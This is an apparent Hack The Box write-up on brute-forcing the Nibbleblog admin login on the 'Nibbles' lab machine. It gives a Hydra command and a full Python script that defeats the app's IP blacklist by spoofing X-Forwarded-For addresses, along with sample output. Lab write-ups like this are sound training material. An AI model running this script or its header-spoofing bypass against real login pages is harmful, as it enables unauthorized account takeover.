Brute-forcing the admin password on Nibbles
Hack The Box provides a platform for practising penetration testing, offering a large number of machines with a wide variety of vulnerabilities. Nibbles is one such machine on Hack The Box and is beginner friendly.
This post discusses brute-forcing the password of the admin account on the Nibbleblog web application.
WARNING: If you are working on Nibbles this post may contain spoilers!
Introduction¶
The first challenge with the Nibbles box is to log into the Nibbleblog web application. It's always worth trying a few of the obvious passwords, such as 'admin', 'password', 'qwerty', '12345678', etc., but none of these worked.
As a beginner, it's great to practise using many of the different pentesting tools available, but, unfortunately, I ran into some problems when trying Burp Suite and Hydra. First, I fed a huge password list to Burp Suite which choked the program. Instead of cutting down the list, checking if a list could be fed to Burp Suite lazily1, or increasing the virtual machine's resources, I decided to try out Hydra.
hydra -l admin \
-P /usr/share/wordlists/rockyou.txt \
10.10.10.75 \
http-post-form \
"/nibbleblog/admin.php:username=^USER^&password=^PASS^:Incorrect username or password."
This is when I encountered the second problem.
IP blacklisting¶
Nibbleblog blacklists an IP address for five minutes after five unsuccessful login attempts. We can confirm this configuration by checking the source code.
/nibbleblog/admin/boot/rules/3-variables.bit
// Number of failures before being locked
define('BLACKLIST_LOCKING_AMOUNT', 5);
// Time in minutes the ip will be blocked
define('BLACKLIST_TIME', 5);
As the web application isn't locked down sufficiently, it's possible to view the users database file and check the current IP blacklist for the admin account.
/nibbleblog/content/private/users.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<users>
<user username="admin">
<id type="integer">0</id>
<session_fail_count type="integer">0</session_fail_count>
<session_date type="integer">1514544131</session_date>
</user>
<blacklist type="string" ip="10.10.10.1">
<date type="integer">1512964659</date>
<fail_count type="integer">1</fail_count>
</blacklist>
</users>
I wondered if it would be possible to spoof the client's IP address using the X-FORWARDED-FOR
header. Using curl it was easy to try this out and to my surprise it worked, so it seemed like a good opportunity to write a program customised specifically for brute-forcing the Nibbleblog login page.
Code walkthrough¶
This section walks through the code of this program, which is also available on sourcehut.
Inputs
First we define the inputs used by the program.
# Brute force information
PASSWORD_LIST = '/usr/share/wordlists/rockyou.txt'
RATE_LIMIT = 5
RATE_LIMIT_ERROR = 'Blacklist protection'
LOGIN_FAILED_ERROR = 'Incorrect username or password.'
# Target information
RHOST = '10.10.10.75'
LOGIN_PAGE = '/nibbleblog/admin.php'
TARGET_URL = f'http://{RHOST}{LOGIN_PAGE}'
USERNAME = 'admin'
The variables of particular interest are:
RATE_LIMIT
: the number of incorrect login attempts after which Nibbleblog blacklists the client's IP address.RATE_LIMIT_ERROR
: the text displayed on the web page that is returned when the client's IP address has been blacklisted. The program should never actually encounter this.LOGIN_FAILED_ERROR
: the text displayed on the web page that is returned when a login attempt fails. If the response we receive from the server doesn't contain this text we know we've successfully logged into the website.
Main function
The run
function is the program's main procedure and is fairly straightforward. The most important part is the generation of a new IP address just before the rate limit is hit. This prevents us from being blacklisted and locked out.
The start_at
parameter corresponds to a line number in the password file, providing a way to start the attack from a certain password. This is handy for resuming a previously interrupted attack.
def run(start_at: int = 1):
ip: str = random_ip()
num_attempts: int = 1
for password in open(PASSWORD_LIST):
if num_attempts < start_at:
num_attempts += 1
continue
if num_attempts % (RATE_LIMIT - 1) == 0:
ip = random_ip()
password = password.strip()
if attempt_login(password, ip):
print(f"Password for {USERNAME} is {password}")
break
num_attempts += 1
The actual login attempt
The attempt_login
function sends the login HTTP request. There are a few things to note:
- The random IP address is set as the value of the
X-FORWARDED-FOR
header. - If the rate limit is somehow triggered the program exits.
- A successful login is determined by the absence of the login failed error message.
def attempt_login(password: str, ip: str) -> bool:
headers = {'X-Forwarded-For': ip}
payload = {'username': USERNAME, 'password': password}
r = requests.post(
TARGET_URL, headers=headers, data=payload
)
if r.status_code == 500:
print("Internal server error, aborting!")
exit(1)
if RATE_LIMIT_ERROR in r.text:
print("Rate limit hit, aborting!")
exit(1)
return LOGIN_FAILED_ERROR not in r.text
The entire program
Here is the entire program, including docstrings.
from random import randint
import requests
# Brute force information
PASSWORD_LIST = '/usr/share/wordlists/rockyou.txt'
RATE_LIMIT = 5
RATE_LIMIT_ERROR = 'Blacklist protection'
LOGIN_FAILED_ERROR = 'Incorrect username or password.'
# Target information
RHOST = '10.10.10.75'
LOGIN_PAGE = '/nibbleblog/admin.php'
TARGET_URL = f'http://{RHOST}{LOGIN_PAGE}'
USERNAME = 'admin'
def attempt_login(password: str, ip: str) -> bool:
"""Performs a login using a given password.
:param password: The password to try.
:param ip: Spoof the attacker's IP address with this one.
:return: True for a successful login, otherwise False.
"""
headers = {'X-Forwarded-For': ip}
payload = {'username': USERNAME, 'password': password}
r = requests.post(
TARGET_URL, headers=headers, data=payload
)
if r.status_code == 500:
print("Internal server error, aborting!")
exit(1)
if RATE_LIMIT_ERROR in r.text:
print("Rate limit hit, aborting!")
exit(1)
return LOGIN_FAILED_ERROR not in r.text
def random_ip() -> str:
"""Generate a random IP address.
:return: A random IP address.
"""
return ".".join(str(randint(0, 255)) for _ in range(4))
def run(start_at: int = 1):
"""Start the brute force process.
:param start_at: Start brute forcing at the password with
this 1-based index. The number represents the line in
the password file.
"""
ip: str = random_ip()
num_attempts: int = 1
for password in open(PASSWORD_LIST):
if num_attempts < start_at:
num_attempts += 1
continue
if num_attempts % (RATE_LIMIT - 1) == 0:
ip = random_ip()
password = password.strip()
print(f"Attempt {num_attempts}: {ip}\t\t{password}")
if attempt_login(password, ip):
print(f"Password for {USERNAME} is {password}")
break
num_attempts += 1
if __name__ == '__main__':
run()
Sample output¶
The output may not be entirely intuitive as this program was written fairly quickly. The program lists the attempt number (so the attack can be restarted at that point), the fake client IP address used, and the attempted password.
$ python bfg9000.py
Attempt 1: 109.227.221.142 123456
Attempt 2: 109.227.221.142 12345
Attempt 3: 109.227.221.142 123456789
Attempt 4: 127.38.197.109 password
Attempt 5: 127.38.197.109 iloveyou
...
Attempt 2568: 228.94.222.10 darlene
Attempt 2569: 228.94.222.10 tabitha
Attempt 2570: 228.94.222.10 russel
Attempt 2571: 228.94.222.10 nibbles
Password for admin is nibbles
Concluding thoughts¶
This program is very specific to brute-forcing the Nibbleblog admin account and was written rather hastily while trying to get the user and root flags on the Nibbles machine. There's definitely improvements to be made, such as accepting the main inputs as program arguments, providing quiet and verbose arguments to control the output, avoiding IP reuse within a five minute period, and making the program run faster, but this was enough to successfully perform the brute-force attack.
-
Update 8 Jul 2020
While working on another Hack The Box machine I discovered Burp Suite's Runtime file payload type which reads payload strings at runtime instead of loading the entire list into memory. ↩